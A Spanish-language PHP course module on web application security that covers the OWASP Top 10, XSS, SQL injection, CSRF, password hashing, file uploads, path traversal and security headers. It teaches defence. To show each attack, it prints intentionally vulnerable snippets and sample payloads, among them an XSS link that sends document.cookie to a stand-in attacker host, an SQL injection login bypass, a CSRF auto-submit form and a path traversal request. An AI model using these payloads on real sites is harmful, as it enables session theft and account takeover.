Módulo 16: Seguridad

Objetivos del módulo

  • Conocer el OWASP Top 10 y los riesgos más habituales en aplicaciones web
  • Prevenir XSS escapando la salida según el contexto (HTML, atributo, JavaScript, URL)
  • Prevenir la inyección SQL con consultas preparadas
  • Proteger los formularios frente a CSRF con tokens y cookies SameSite
  • Guardar contraseñas correctamente con password_hash() y password_verify()
  • Repasar la gestión segura de sesiones y la subida de ficheros
  • Evitar path traversal y la inclusión de ficheros arbitrarios
  • Enviar cabeceras de seguridad (CSP, HSTS, X-Content-Type-Options…)
  • Gestionar secretos con variables de entorno y generar tokens aleatorios seguros
  • Limitar los intentos de login y mantener PHP y las dependencias actualizados (composer audit)
  • Validar URLs con la nueva extensión URI de PHP 8.5

1. Pensar como un atacante

📘 Concepto: La seguridad de una aplicación web consiste en asegurar que solo hace lo que tú quieres que haga, incluso cuando alguien intenta deliberadamente que haga otra cosa. El principio fundamental es: nunca confíes en los datos que vienen de fuera. Todo lo que llega en $_GET, $_POST, $_COOKIE, $_FILES, las cabeceras HTTP (incluido $_SERVER['HTTP_*']) o el cuerpo de una petición puede haber sido manipulado.

Analogía: tu aplicación es una casa. El formulario de contacto es el buzón. Esperas cartas, pero alguien puede meter cualquier cosa por la ranura. No abrirías un paquete sospechoso en el salón: lo inspeccionas antes.

Dos reglas que resumen gran parte del módulo:

Regla Qué significa Ejemplo
Valida la entrada Comprueba que los datos tienen la forma esperada y rechaza lo demás Una edad es un entero entre 0 y 130
Escapa la salida Al insertar datos en otro “lenguaje” (HTML, SQL, shell, URL), conviértelos para que no se interpreten como código htmlspecialchars() al imprimir en HTML

Y un principio de diseño: defensa en profundidad. No te fíes de una sola barrera; combina varias (validación + escape + cabeceras + permisos mínimos), de modo que si una falla, las demás siguen protegiendo.


2. El OWASP Top 10

OWASP (Open Worldwide Application Security Project) es una fundación sin ánimo de lucro que publica, entre otras cosas, la lista de los diez riesgos más críticos en aplicaciones web. La edición vigente es la 2025.

Código Riesgo En PHP significa, por ejemplo… Dónde lo ves
A01 Control de acceso roto Un usuario edita el pedido de otro cambiando el id en la URL Sección 13
A02 Configuración de seguridad incorrecta display_errors = On en producción, ficheros .env accesibles Secciones 10 y 11
A03 Fallos en la cadena de suministro Dependencias de Composer con vulnerabilidades conocidas Sección 14
A04 Fallos criptográficos Contraseñas en MD5, sitio sin HTTPS Secciones 6 y 10
A05 Inyección Inyección SQL, XSS, inyección de comandos Secciones 3 y 4
A06 Diseño inseguro Recuperación de contraseña con “pregunta secreta” Todo el módulo
A07 Fallos de autenticación Sin límite de intentos de login, sesiones que no se renuevan Secciones 7 y 12
A08 Fallos de integridad de software o datos Deserializar datos del usuario con unserialize() Sección 13
A09 Fallos de registro y monitorización No registrar los intentos de acceso fallidos Módulo 14
A10 Gestión incorrecta de condiciones excepcionales Un error que deja pasar al usuario (“fail open”) o muestra la traza Módulo 14

💡 Consejo: No hace falta memorizar la lista, pero sí leerla de vez en cuando en owasp.org/Top10. OWASP también publica las Cheat Sheets, guías prácticas para cada problema que son una referencia excelente.


3. XSS: Cross-Site Scripting

📘 Concepto: Un ataque XSS consiste en conseguir que tu web muestre a otros usuarios código JavaScript escrito por el atacante. Ese código se ejecuta en el navegador de la víctima con los mismos permisos que tu web: puede leer la página, enviar formularios en su nombre, redirigirla a una web falsa o robar datos.

XSS reflejado

El dato malicioso viaja en la propia petición (normalmente en la URL) y la página lo “refleja” en la respuesta:

<?php
// buscar.php  ❌ VULNERABLE
$q = $_GET['q'] ?? '';
echo "<p>Resultados para: $q</p>";

El atacante envía a la víctima este enlace:

https://mitienda.es/buscar.php?q=<script>fetch('https://malo.example/?c='+document.cookie)</script>

Al abrirlo, el navegador de la víctima ejecuta el script dentro de mitienda.es.

XSS almacenado

Más peligroso: el código se guarda en la base de datos (un comentario, un nombre de usuario, una reseña) y se muestra a todos los que visitan la página.

<?php
// ❌ VULNERABLE: muestra los comentarios tal cual se guardaron
foreach ($comentarios as $c) {
    echo "<div class='comentario'><b>{$c['autor']}</b>: {$c['texto']}</div>";
}

Basta con que alguien publique el comentario <img src=x onerror="alert('XSS')"> para que se ejecute en el navegador de cada visitante.

La solución: escapar la salida con htmlspecialchars()

htmlspecialchars() convierte los caracteres especiales de HTML en entidades, de modo que el navegador los muestra en lugar de interpretarlos:

Carácter Se convierte en
& &amp;
< &lt;
> &gt;
" &quot;
' &#039; (con ENT_QUOTES)
<?php
$q = '<script>alert(1)</script>';
echo htmlspecialchars($q, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
// &lt;script&gt;alert(1)&lt;/script&gt;   ← el navegador lo muestra como texto

Un helper e()

Escribir htmlspecialchars($x, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') cada vez es largo y propenso a olvidos. Lo habitual es crear una función corta:

<?php
declare(strict_types=1);

/**
 * Escapa un valor para insertarlo en HTML (contenido o atributo entre comillas).
 */
function e(string|int|float|null $valor): string
{
    return htmlspecialchars((string) $valor, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
<!-- ✅ SEGURO -->
<p>Resultados para: <?= e($q) ?></p>

<?php foreach ($comentarios as $c): ?>
    <div class="comentario"><b><?= e($c['autor']) ?></b>: <?= e($c['texto']) ?></div>
<?php endforeach; ?>

⚠️ Importante: Escapa al mostrar, no al guardar. Guarda en la base de datos el texto original y escápalo en el momento de imprimirlo, según el contexto. Si lo escapas al guardar, acabarás con textos como &amp;amp; y seguirás expuesto en otros contextos (JSON, emails, PDF).

El contexto importa

htmlspecialchars() protege en el contenido HTML y dentro de atributos entre comillas. En otros contextos necesitas otras técnicas:

Contexto Ejemplo Cómo escapar
Contenido HTML <p><?= ... ?></p> e($valor)
Atributo entre comillas <input value="<?= ... ?>"> e($valor) (siempre con comillas)
Parámetro de una URL <a href="buscar.php?q=<?= ... ?>"> e(urlencode($valor)) o http_build_query()
URL completa en href/src <a href="<?= ... ?>"> Validar que empieza por https:// (o es relativa) y luego e()
Dentro de <script> const datos = <?= ... ?>; json_encode() con JSON_HEX_TAG \| JSON_HEX_AMP \| JSON_HEX_APOS \| JSON_HEX_QUOT
CSS style="color: <?= ... ?>" Evítalo; usa una lista blanca de valores
<?php
declare(strict_types=1);

$nombre = 'O\'Brien & "Hijos" </script>';
$web    = $_POST['web'] ?? 'javascript:alert(1)';

// 1. Atributo: comillas SIEMPRE
echo '<input name="nombre" value="' . e($nombre) . '">';

// 2. Parámetro de URL
echo '<a href="perfil.php?' . e(http_build_query(['nombre' => $nombre])) . '">Perfil</a>';

// 3. URL completa: e() NO basta, "javascript:..." no tiene caracteres especiales
function urlSegura(string $url): string
{
    $esquema = strtolower((string) parse_url($url, PHP_URL_SCHEME));
    return in_array($esquema, ['http', 'https'], true) ? $url : '#';
}
echo '<a href="' . e(urlSegura($web)) . '" rel="nofollow noopener">Web del autor</a>';

// 4. Datos para JavaScript
$config = ['usuario' => $nombre, 'carrito' => [1, 4, 7]];
$json = json_encode($config, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_THROW_ON_ERROR);
echo "<script>const config = $json;</script>";
// Los "<" y ">" salen como < y >: "</script>" no puede cerrar la etiqueta

💡 Consejo: Una forma aún más limpia de pasar datos a JavaScript es un atributo data-*: <div id="app" data-config="<?= e(json_encode($config)) ?>"> y en JS JSON.parse(app.dataset.config). Así no hay PHP dentro de <script>.

⚠️ Importante: Si necesitas que los usuarios escriban HTML con formato (un editor enriquecido), no basta con escapar: necesitas un sanitizador basado en lista blanca como la librería ezyang/htmlpurifier. Nunca intentes filtrar HTML con str_replace o expresiones regulares: siempre hay un truco que se escapa.


4. Inyección SQL

Ya la viste en el módulo 15, pero es tan grave que merece repasarla con un ataque real.

<?php
// login.php  ❌ VULNERABLE
$email = $_POST['email'];
$clave = $_POST['clave'];

$sql = "SELECT * FROM usuarios WHERE email = '$email' AND clave = '$clave'";
$usuario = $pdo->query($sql)->fetch();

Si el atacante escribe en el campo email ' OR '1'='1' -- (con un espacio final), la consulta queda así:

SELECT * FROM usuarios WHERE email = '' OR '1'='1' -- ' AND clave = '...'

'1'='1' siempre es cierto y -- comenta el resto: entra como el primer usuario de la tabla (normalmente, el administrador). Con otras variantes se pueden leer tablas enteras, modificar datos o borrarlos.

La corrección

<?php
declare(strict_types=1);

// ✅ SEGURO: consulta preparada + contraseña con hash (sección 6)
$stmt = $pdo->prepare('SELECT id, email, clave_hash FROM usuarios WHERE email = ?');
$stmt->execute([$_POST['email'] ?? '']);
$usuario = $stmt->fetch();

if ($usuario && password_verify($_POST['clave'] ?? '', $usuario['clave_hash'])) {
    // Login correcto
}
Defensa Por qué
Consultas preparadas siempre que haya datos variables El dato nunca se interpreta como SQL
PDO::ATTR_EMULATE_PREPARES => false La preparación la hace el servidor
Lista blanca para columnas y ORDER BY Los identificadores no pueden ser parámetros
Usuario de BD con permisos mínimos Si hay una inyección, el daño es limitado (sin DROP, sin acceso a otras bases de datos)
No mostrar errores SQL al usuario Los mensajes de error ayudan al atacante a afinar el ataque

⚠️ Importante: addslashes(), mysqli_real_escape_string() o “quitar las comillas” no son una defensa fiable. La única solución correcta es separar código y datos con consultas preparadas.


5. CSRF: Cross-Site Request Forgery

📘 Concepto: En un ataque CSRF, una web maliciosa hace que el navegador de la víctima envíe una petición a tu web. Como el navegador adjunta automáticamente las cookies de tu dominio (incluida la de sesión), tu servidor cree que la petición la ha hecho el usuario legítimo.

Ejemplo: Ana ha iniciado sesión en mitienda.es. Visita un foro que contiene esto:

<!-- En https://malo.example -->
<form action="https://mitienda.es/cuenta/cambiar-email.php" method="post" id="f">
    <input type="hidden" name="email" value="atacante@malo.example">
</form>
<script>document.getElementById('f').submit();</script>

El navegador de Ana envía el formulario con su cookie de sesión. Si tu aplicación no lo impide, el email de Ana cambia y el atacante puede pedir “he olvidado mi contraseña”.

Defensa 1: token CSRF en sesión

La idea: cada formulario lleva un valor secreto que solo conoce tu página. La web maliciosa no puede leerlo (el navegador se lo impide por la política del mismo origen), así que no puede incluirlo.

<?php
declare(strict_types=1);

// src/csrf.php

function csrfToken(): string
{
    if (session_status() !== PHP_SESSION_ACTIVE) {
        session_start();
    }
    // Un token por sesión, generado con un generador criptográficamente seguro
    $_SESSION['csrf'] ??= bin2hex(random_bytes(32));
    return $_SESSION['csrf'];
}

function csrfCampo(): string
{
    return '<input type="hidden" name="_csrf" value="' . htmlspecialchars(csrfToken(), ENT_QUOTES, 'UTF-8') . '">';
}

function verificarCsrf(): void
{
    $enviado = $_POST['_csrf'] ?? '';
    $esperado = $_SESSION['csrf'] ?? '';

    // hash_equals compara en tiempo constante (evita ataques de temporización)
    if (!is_string($enviado) || $esperado === '' || !hash_equals($esperado, $enviado)) {
        http_response_code(403);
        exit('Petición no válida. Recarga la página e inténtalo de nuevo.');
    }
}

En el formulario:

<form method="post" action="cambiar-email.php">
    <?= csrfCampo() ?>
    <input type="email" name="email" required>
    <button>Guardar</button>
</form>

Y al procesarlo:

<?php
declare(strict_types=1);

session_start();
require __DIR__ . '/../src/csrf.php';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    verificarCsrf();               // ← lo primero
    // ... validar y guardar el nuevo email
}

📘 Concepto: hash_equals() compara dos cadenas tardando siempre lo mismo, se parezcan o no. Una comparación normal (===) se detiene en el primer carácter distinto, y midiendo tiempos un atacante podría ir adivinando el token carácter a carácter. Úsala siempre que compares secretos.

Defensa 2: cookies SameSite

El atributo SameSite de una cookie indica al navegador si debe enviarla en peticiones que vienen de otros sitios:

Valor Comportamiento Uso
Strict Nunca se envía desde otro sitio (ni siquiera al seguir un enlace) Máxima protección, pero el usuario parece “deslogueado” al llegar desde un enlace externo
Lax Se envía al navegar con enlaces (GET), no en POST desde otros sitios Buen equilibrio; valor por defecto en los navegadores modernos
None Se envía siempre (exige Secure) Solo para casos de terceros (widgets, SSO)
<?php
session_set_cookie_params([
    'lifetime' => 0,
    'path'     => '/',
    'secure'   => true,     // Solo por HTTPS
    'httponly' => true,     // Inaccesible desde JavaScript
    'samesite' => 'Lax',
]);
session_start();

⚠️ Importante: SameSite es una segunda capa, no un sustituto del token: depende del navegador y no protege si tu web tiene subdominios inseguros. Usa ambos. Y recuerda: las operaciones que cambian datos van siempre por POST (o PUT/DELETE), nunca por GET.


6. Contraseñas

Lo que no debes hacer

Práctica Por qué es un error
Guardarlas en texto plano Si te roban la base de datos, tienen todas las contraseñas (y muchos usuarios las reutilizan)
Cifrarlas (con una clave) Quien obtenga la clave las descifra todas
md5() o sha1() Son rapidísimos: un ordenador con GPU prueba miles de millones por segundo. Además, existen tablas precalculadas
hash('sha256', $clave . 'sal') casero Sigue siendo demasiado rápido y es fácil equivocarse

📘 Concepto: Las contraseñas se guardan con un hash lento con sal. Un hash es una función de un solo sentido: de la contraseña obtienes el hash, pero no al revés. La sal es un valor aleatorio distinto para cada usuario que hace que dos contraseñas iguales tengan hashes distintos. Y “lento” significa que calcularlo cuesta, a propósito, unos milisegundos: imperceptible para un login, pero inviable para probar miles de millones de combinaciones.

password_hash() y password_verify()

PHP lo resuelve todo con dos funciones:

<?php
declare(strict_types=1);

// Registro: generar el hash
$hash = password_hash('MiClave$egura2026', PASSWORD_DEFAULT);
echo $hash, PHP_EOL;
// $2y$12$0bPq1yXk3...   (60 caracteres; incluye algoritmo, coste y sal)

// Login: comprobar
var_dump(password_verify('MiClave$egura2026', $hash)); // bool(true)
var_dump(password_verify('otra', $hash));              // bool(false)

// Mismo texto, hash distinto cada vez (gracias a la sal)
var_dump(password_hash('1234', PASSWORD_DEFAULT) === password_hash('1234', PASSWORD_DEFAULT)); // bool(false)
Algoritmo Constante Comentario
bcrypt PASSWORD_DEFAULT / PASSWORD_BCRYPT Predeterminado. Coste 12 por defecto desde PHP 8.4. Solo usa los primeros 72 bytes
Argon2id PASSWORD_ARGON2ID Recomendado por OWASP; resistente a ataques con GPU. Requiere que PHP esté compilado con soporte Argon2
<?php
// Argon2id con parámetros explícitos
$hash = password_hash($clave, PASSWORD_ARGON2ID, [
    'memory_cost' => 65536, // KiB (64 MiB)
    'time_cost'   => 4,
    'threads'     => 1,
]);

⚠️ Importante: La columna donde guardes el hash debe ser VARCHAR(255). Hoy bcrypt ocupa 60 caracteres, pero si en el futuro cambia el algoritmo por defecto, los hashes serán más largos.

password_needs_rehash(): actualizar hashes antiguos

Si subes el coste o cambias de algoritmo, los usuarios existentes siguen con el hash antiguo. Aprovecha el login (el único momento en que tienes la contraseña en claro) para actualizarlo:

<?php
declare(strict_types=1);

function login(PDO $pdo, string $email, #[\SensitiveParameter] string $clave): ?array
{
    $stmt = $pdo->prepare('SELECT id, email, clave_hash FROM usuarios WHERE email = ?');
    $stmt->execute([$email]);
    $usuario = $stmt->fetch();

    if (!$usuario || !password_verify($clave, $usuario['clave_hash'])) {
        return null;   // Mismo resultado si no existe el email o la clave es incorrecta
    }

    if (password_needs_rehash($usuario['clave_hash'], PASSWORD_DEFAULT)) {
        $nuevo = password_hash($clave, PASSWORD_DEFAULT);
        $pdo->prepare('UPDATE usuarios SET clave_hash = ? WHERE id = ?')->execute([$nuevo, $usuario['id']]);
    }

    return $usuario;
}

💡 Consejo: Muestra el mismo mensaje (“Email o contraseña incorrectos”) tanto si el email no existe como si la contraseña está mal. Si dices “ese email no está registrado”, estás ayudando a un atacante a averiguar qué emails son válidos (enumeración de usuarios).

Política de contraseñas razonable

Las recomendaciones actuales (NIST, OWASP) son: longitud mínima (al menos 8, mejor 12), permitir contraseñas largas y frases, no obligar a combinaciones raras de símbolos ni a cambiarlas periódicamente, y rechazar contraseñas muy comunes o filtradas.


7. Sesiones seguras (repaso)

Ya viste las sesiones en el módulo 9. Estas son las medidas de seguridad imprescindibles:

; php.ini (o con ini_set antes de session_start)
session.use_strict_mode = 1      ; rechaza ids de sesión que no ha generado el servidor
session.use_only_cookies = 1     ; el id nunca va en la URL
session.cookie_httponly = 1      ; JavaScript no puede leer la cookie
session.cookie_secure = 1        ; solo por HTTPS
session.cookie_samesite = Lax
session.gc_maxlifetime = 1800    ; 30 minutos de inactividad
<?php
declare(strict_types=1);

// Tras un login correcto
session_regenerate_id(true);   // Nuevo id de sesión: evita la fijación de sesión
$_SESSION['usuario_id'] = $usuario['id'];
$_SESSION['ultimo_acceso'] = time();

// En cada petición: caducidad por inactividad
if (isset($_SESSION['ultimo_acceso']) && time() - $_SESSION['ultimo_acceso'] > 1800) {
    $_SESSION = [];
    session_destroy();
    header('Location: /login.php?caducada=1');
    exit;
}
$_SESSION['ultimo_acceso'] = time();

// Logout completo
function cerrarSesion(): void
{
    $_SESSION = [];
    $p = session_get_cookie_params();
    setcookie(session_name(), '', [
        'expires' => time() - 3600, 'path' => $p['path'], 'domain' => $p['domain'],
        'secure' => $p['secure'], 'httponly' => $p['httponly'], 'samesite' => $p['samesite'],
    ]);
    session_destroy();
}

⚠️ Importante: Llama a session_regenerate_id(true) siempre que cambie el nivel de privilegio: al iniciar sesión, al cerrar sesión y al convertirse en administrador. Así un id de sesión que el atacante haya conseguido antes deja de servir.


8. Subida de ficheros segura (repaso)

La subida de ficheros es una de las funciones más peligrosas: si un atacante consigue subir un shell.php a una carpeta pública y ejecutarlo, controla tu servidor.

<?php
declare(strict_types=1);

function guardarImagen(array $fichero, string $directorioDestino): string
{
    // 1. Errores de subida
    if (($fichero['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_OK) {
        throw new RuntimeException('Error al subir el fichero');
    }

    // 2. Tamaño máximo (además de upload_max_filesize en php.ini)
    if ($fichero['size'] > 2 * 1024 * 1024) {
        throw new RuntimeException('La imagen no puede superar 2 MB');
    }

    // 3. Tipo REAL según el contenido, no según la extensión ni $_FILES['type']
    $tiposPermitidos = ['image/jpeg' => 'jpg', 'image/png' => 'png', 'image/webp' => 'webp'];
    $mime = (new finfo(FILEINFO_MIME_TYPE))->file($fichero['tmp_name']);

    if (!isset($tiposPermitidos[$mime])) {
        throw new RuntimeException('Formato no permitido');
    }

    // 4. Comprobar que realmente es una imagen
    if (getimagesize($fichero['tmp_name']) === false) {
        throw new RuntimeException('El fichero no es una imagen válida');
    }

    // 5. Nombre aleatorio generado por nosotros: nunca el nombre original
    $nombre = bin2hex(random_bytes(16)) . '.' . $tiposPermitidos[$mime];

    // 6. Mover con move_uploaded_file (verifica que viene de una subida HTTP)
    if (!move_uploaded_file($fichero['tmp_name'], $directorioDestino . '/' . $nombre)) {
        throw new RuntimeException('No se pudo guardar la imagen');
    }

    return $nombre;
}
Medida Protege contra
Comprobar el MIME con finfo Ficheros .php renombrados a .jpg
Extensión elegida por ti a partir del MIME foto.php.jpg, foto.phtml
Nombre aleatorio Sobrescritura de ficheros, path traversal en el nombre
Guardar fuera de la carpeta pública (o en una carpeta sin ejecución de PHP) Ejecución de código subido
Límite de tamaño Llenar el disco (denegación de servicio)

💡 Consejo: Si las imágenes deben ser públicas, guárdalas en una carpeta como public/uploads/ y desactiva la ejecución de PHP en ella. En Apache, con un .htaccess que contenga php_flag engine off (si PHP corre como módulo) o, mejor, configurándolo en el servidor. Para máxima seguridad, sirve las imágenes a través de un script PHP que las lea desde fuera de public/.


9. Path traversal e inclusión de ficheros

Path traversal

📘 Concepto: El path traversal (recorrido de directorios) consiste en usar ../ en un nombre de fichero para salir de la carpeta prevista y leer ficheros arbitrarios del servidor.

<?php
// descargar.php?fichero=factura-12.pdf   ❌ VULNERABLE
$ruta = __DIR__ . '/facturas/' . $_GET['fichero'];
readfile($ruta);

// El atacante pide: descargar.php?fichero=../../config/database.php
// y descarga tus credenciales

La corrección combina tres ideas: quedarse solo con el nombre, resolver la ruta real y comprobar que sigue dentro de la carpeta permitida.

<?php
declare(strict_types=1);

function rutaSegura(string $base, string $nombre): string
{
    $baseReal = realpath($base);
    $ruta = realpath($baseReal . DIRECTORY_SEPARATOR . basename($nombre));

    if ($baseReal === false || $ruta === false || !str_starts_with($ruta, $baseReal . DIRECTORY_SEPARATOR)) {
        throw new RuntimeException('Fichero no encontrado');
    }
    return $ruta;
}

try {
    $ruta = rutaSegura(__DIR__ . '/facturas', $_GET['fichero'] ?? '');
    header('Content-Type: application/pdf');
    header('Content-Disposition: attachment; filename="' . basename($ruta) . '"');
    readfile($ruta);
} catch (RuntimeException) {
    http_response_code(404);
    echo 'Factura no encontrada';
}

💡 Consejo: Mejor aún: no uses nombres de fichero en la URL. Usa un id (descargar.php?id=12), busca en la base de datos qué fichero le corresponde y si el usuario actual tiene permiso para verlo.

Inclusión de ficheros

<?php
// index.php?pagina=contacto   ❌ VULNERABLE
include $_GET['pagina'] . '.php';
// ?pagina=../../../ruta/a/un/fichero/subido  → ejecuta código del atacante
<?php
declare(strict_types=1);

// ✅ Lista blanca: solo se pueden incluir las páginas que TÚ defines
$paginas = [
    'inicio'   => __DIR__ . '/paginas/inicio.php',
    'contacto' => __DIR__ . '/paginas/contacto.php',
    'about'    => __DIR__ . '/paginas/about.php',
];

$pagina = $_GET['pagina'] ?? 'inicio';
require $paginas[$pagina] ?? __DIR__ . '/paginas/404.php';

⚠️ Importante: Comprueba que allow_url_include = Off en php.ini (es el valor por defecto). Si estuviera activado, un include podría incluso descargar y ejecutar código de otro servidor.


10. Cabeceras de seguridad y HTTPS

Las cabeceras HTTP de seguridad indican al navegador que active protecciones adicionales. Son una capa extra de defensa en profundidad.

Cabecera Para qué sirve Valor recomendado de partida
Content-Security-Policy Define de dónde se pueden cargar scripts, estilos, imágenes… Mitiga XSS default-src 'self' (y ajustar)
X-Content-Type-Options Impide que el navegador “adivine” el tipo de un fichero nosniff
X-Frame-Options / CSP frame-ancestors Impide que tu web se cargue en un <iframe> ajeno (clickjacking) DENY / frame-ancestors 'none'
Strict-Transport-Security Obliga al navegador a usar siempre HTTPS (HSTS) max-age=31536000; includeSubDomains
Referrer-Policy Controla qué URL de origen se envía al seguir enlaces strict-origin-when-cross-origin
Permissions-Policy Desactiva APIs del navegador que no usas camera=(), microphone=(), geolocation=()
<?php
declare(strict_types=1);

// src/cabeceras.php — inclúyelo al principio de cada petición
function enviarCabecerasSeguridad(): void
{
    header("Content-Security-Policy: default-src 'self'; "
         . "script-src 'self' https://cdn.jsdelivr.net; "
         . "style-src 'self' https://cdn.jsdelivr.net; "
         . "img-src 'self' data:; "
         . "frame-ancestors 'none'; "
         . "base-uri 'self'; form-action 'self'");
    header('X-Content-Type-Options: nosniff');
    header('X-Frame-Options: DENY');
    header('Referrer-Policy: strict-origin-when-cross-origin');
    header('Permissions-Policy: camera=(), microphone=(), geolocation=()');

    // HSTS solo si ya estás sirviendo por HTTPS
    if (($_SERVER['HTTPS'] ?? '') === 'on') {
        header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
    }

    // No anunciar la versión de PHP
    header_remove('X-Powered-By');
}

📘 Concepto: Con Content-Security-Policy: script-src 'self', el navegador solo ejecuta scripts que vengan de tu propio dominio como ficheros .js. Un <script> inyectado en el HTML o un atributo onerror="..." se bloquean aunque se te haya escapado un XSS. Por eso es una de las cabeceras más potentes, y también la que más hay que ajustar: si usas <script> en línea, tendrás que moverlo a ficheros o usar nonces.

💡 Consejo: Para probar una CSP sin romper tu web, empieza con Content-Security-Policy-Report-Only: el navegador te avisa en la consola de lo que bloquearía, pero no bloquea nada. Comprueba tus cabeceras con herramientas como securityheaders.com o el validador de CSP de Google.

HTTPS

Sin HTTPS, todo viaja en claro: contraseñas, cookies de sesión, datos personales. Hoy obtener un certificado es gratuito con Let’s Encrypt (y casi todos los hostings lo activan con un clic).

  • Redirige siempre HTTP → HTTPS (en la configuración del servidor).
  • Marca las cookies con Secure.
  • Activa HSTS cuando estés seguro de que todo funciona por HTTPS.
  • En php.ini de producción pon expose_php = Off.

11. Secretos y variables de entorno

Contraseñas de base de datos, claves de APIs, claves de cifrado… No deben estar en el código ni en Git. Un repositorio se clona, se comparte y se publica por error con facilidad, y el historial de Git conserva todo aunque borres el fichero después.

# .env  (en la raíz del proyecto, FUERA de public/)
APP_ENV=prod
DB_HOST=localhost
DB_NAME=tienda
DB_USER=tienda
DB_PASS=Qm7#vL2p!xR9
STRIPE_SECRET=sk_live_...
# .gitignore
.env
/var/
/vendor/
# .env.example  (sí se sube a Git: documenta qué variables hacen falta)
APP_ENV=dev
DB_HOST=localhost
DB_NAME=tienda
DB_USER=
DB_PASS=
STRIPE_SECRET=

Leer variables de entorno:

<?php
declare(strict_types=1);

// Con la librería vlucas/phpdotenv (composer require vlucas/phpdotenv)
$dotenv = Dotenv\Dotenv::createImmutable(dirname(__DIR__));
$dotenv->load();
$dotenv->required(['DB_HOST', 'DB_NAME', 'DB_USER', 'DB_PASS']);

$clave = $_ENV['DB_PASS'];

// Las variables definidas en el propio servidor (Apache SetEnv, Docker, panel del hosting)
// también se pueden leer con getenv()
$entorno = getenv('APP_ENV') ?: 'prod';

⚠️ Importante: El fichero .env debe estar fuera de la carpeta pública. Si está en public/, cualquiera puede descargarlo en https://tuweb.es/.env. Es uno de los fallos de configuración más comunes y más explotados.

💡 Consejo: Si alguna vez subes un secreto a Git por error, considéralo comprometido: cámbialo inmediatamente (nueva contraseña, nueva clave de API). Borrarlo del repositorio no basta.


12. Tokens aleatorios y limitación de intentos

Generar valores aleatorios seguros

Para tokens CSRF, enlaces de recuperación de contraseña, claves de API o nombres de fichero necesitas aleatoriedad criptográficamente segura: imposible de predecir.

Función ¿Segura para secretos? Uso
random_bytes($n) Sí Bytes aleatorios (conviértelos con bin2hex())
random_int($min, $max) Sí Enteros aleatorios (códigos de verificación)
Random\Randomizer (8.2) Sí, con el motor por defecto (Random\Engine\Secure) API orientada a objetos y más completa
rand(), mt_rand() No Juegos, simulaciones; nunca para seguridad
uniqid() No Se basa en la hora: predecible
<?php
declare(strict_types=1);

// Token de 64 caracteres hexadecimales (32 bytes = 256 bits)
$token = bin2hex(random_bytes(32));

// Código numérico de 6 cifras para verificación por email
$codigo = str_pad((string) random_int(0, 999_999), 6, '0', STR_PAD_LEFT);

// Random\Randomizer (PHP 8.2+); por defecto usa el motor seguro
$r = new Random\Randomizer();

// Contraseña temporal con un alfabeto sin caracteres ambiguos (8.3: getBytesFromString)
$alfabeto = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz23456789';
$temporal = $r->getBytesFromString($alfabeto, 12);

echo $token, PHP_EOL;     // 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
echo $codigo, PHP_EOL;    // 048213
echo $temporal, PHP_EOL;  // kP7mXq2RtZ9a

💡 Consejo: Para enlaces de “recuperar contraseña”, guarda en la base de datos el hash del token (hash('sha256', $token)), no el token en sí, con una fecha de caducidad corta (por ejemplo, 1 hora) y de un solo uso. Así, si alguien lee la tabla, no puede usar los enlaces.

Limitar los intentos de login

Sin límite, un atacante puede probar miles de contraseñas por minuto (fuerza bruta) o probar contraseñas filtradas de otras webs (credential stuffing).

CREATE TABLE intentos_login (
    id         INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    email      VARCHAR(190) NOT NULL,
    ip         VARCHAR(45)  NOT NULL,
    creado_en  DATETIME     NOT NULL DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_email_fecha (email, creado_en),
    INDEX idx_ip_fecha (ip, creado_en)
);
<?php
declare(strict_types=1);

final class LimitadorLogin
{
    public function __construct(
        private PDO $pdo,
        private int $maxIntentos = 5,
        private int $ventanaMinutos = 15,
    ) {}

    public function estaBloqueado(string $email, string $ip): bool
    {
        $stmt = $this->pdo->prepare(
            'SELECT COUNT(*) FROM intentos_login
             WHERE (email = :email OR ip = :ip)
               AND creado_en > NOW() - INTERVAL :min MINUTE'
        );
        $stmt->bindValue(':email', mb_strtolower($email));
        $stmt->bindValue(':ip', $ip);
        $stmt->bindValue(':min', $this->ventanaMinutos, PDO::PARAM_INT);
        $stmt->execute();

        return (int) $stmt->fetchColumn() >= $this->maxIntentos;
    }

    public function registrarFallo(string $email, string $ip): void
    {
        $this->pdo->prepare('INSERT INTO intentos_login (email, ip) VALUES (?, ?)')
            ->execute([mb_strtolower($email), $ip]);
    }

    public function limpiar(string $email): void
    {
        $this->pdo->prepare('DELETE FROM intentos_login WHERE email = ?')->execute([mb_strtolower($email)]);
    }
}

// En login.php
$limitador = new LimitadorLogin($pdo);
$ip = $_SERVER['REMOTE_ADDR'];

if ($limitador->estaBloqueado($email, $ip)) {
    $error = 'Demasiados intentos. Espera 15 minutos e inténtalo de nuevo.';
} elseif ($usuario = login($pdo, $email, $clave)) {
    $limitador->limpiar($email);
    session_regenerate_id(true);
    $_SESSION['usuario_id'] = $usuario['id'];
} else {
    $limitador->registrarFallo($email, $ip);
    $error = 'Email o contraseña incorrectos.';
}

💡 Consejo: Otras medidas complementarias: un retraso creciente tras cada fallo, un CAPTCHA a partir del tercer intento y, sobre todo, ofrecer autenticación en dos pasos (2FA). Si tu web está detrás de un proxy o CDN, REMOTE_ADDR será la IP del proxy: configura correctamente la IP real del cliente en el servidor web.


13. Control de acceso y otros riesgos

Control de acceso roto (A01)

Es el riesgo número uno del OWASP. Ocurre cuando compruebas que el usuario ha iniciado sesión, pero no que tiene permiso sobre ese recurso concreto.

<?php
// pedido.php?id=1042   ❌ VULNERABLE: cualquier usuario logueado ve cualquier pedido
$stmt = $pdo->prepare('SELECT * FROM pedidos WHERE id = ?');
$stmt->execute([$_GET['id']]);

// ✅ El pedido debe pertenecer al usuario actual
$stmt = $pdo->prepare('SELECT * FROM pedidos WHERE id = ? AND usuario_id = ?');
$stmt->execute([$_GET['id'], $_SESSION['usuario_id']]);
$pedido = $stmt->fetch() ?: throw new RuntimeException('Pedido no encontrado'); // → 404

